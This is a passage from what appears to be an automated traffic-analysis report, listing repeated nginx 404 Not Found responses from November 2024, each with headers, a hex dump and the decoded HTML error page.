67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body bgcolor="white"><center><h1>404 Not Found</h1></center><hr><center>nginx/1.14.0 (Ubuntu)</center></body></html><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page -->
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Mon, 11 Nov 2024 17:51:09 GMTContent-Type: text/htmlContent-Length: 548Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page -->
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.14.0 (Ubuntu)Date: Mon, 11 Nov 2024 17:51:10 GMTContent-Type: text/htmlContent-Length: 580Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 34 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body bgcolor="white"><center><h1>404 Not Found</h1></center><hr><center>nginx/1.14.0 (Ubuntu)</center></body></html><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page -->
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Mon, 11 Nov 2024 17:51:11 GMTContent-Type: text/htmlContent-Length: 548Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page -->
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.14.0 (Ubuntu)Date: Mon, 11 Nov 2024 17:51:12 GMTContent-Type: text/htmlContent-Length: 580Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 34 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body bgcolor="white"><center><h1>404 Not Found</h1></center><hr><center>nginx/1.14.0 (Ubuntu)</center></body></html><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page -->
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Mon, 11 Nov 2024 17:51:14 GMTContent-Type: text/htmlContent-Length: 548Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page -->
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Mon, 11 Nov 2024 17:51:17 GMTContent-Type: text/htmlContent-Length: 548Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page -->
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.14.0 (Ubuntu)Date: Mon, 11 Nov 2024 17:51:22 GMTContent-Type: text/htmlContent-Length: 580Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 34 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body bgcolor="white"><center><h1>404 Not Found</h1></center><hr><center>nginx/1.14.0 (Ubuntu)</center></body></html><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page -->
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Mon, 11 Nov 2024 17:51:22 GMTContent-Type: text/htmlContent-Length: 548Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page -->
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Mon, 11 Nov 2024 17:51:25 GMTContent-Type: text/htmlContent-Length: 548Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to 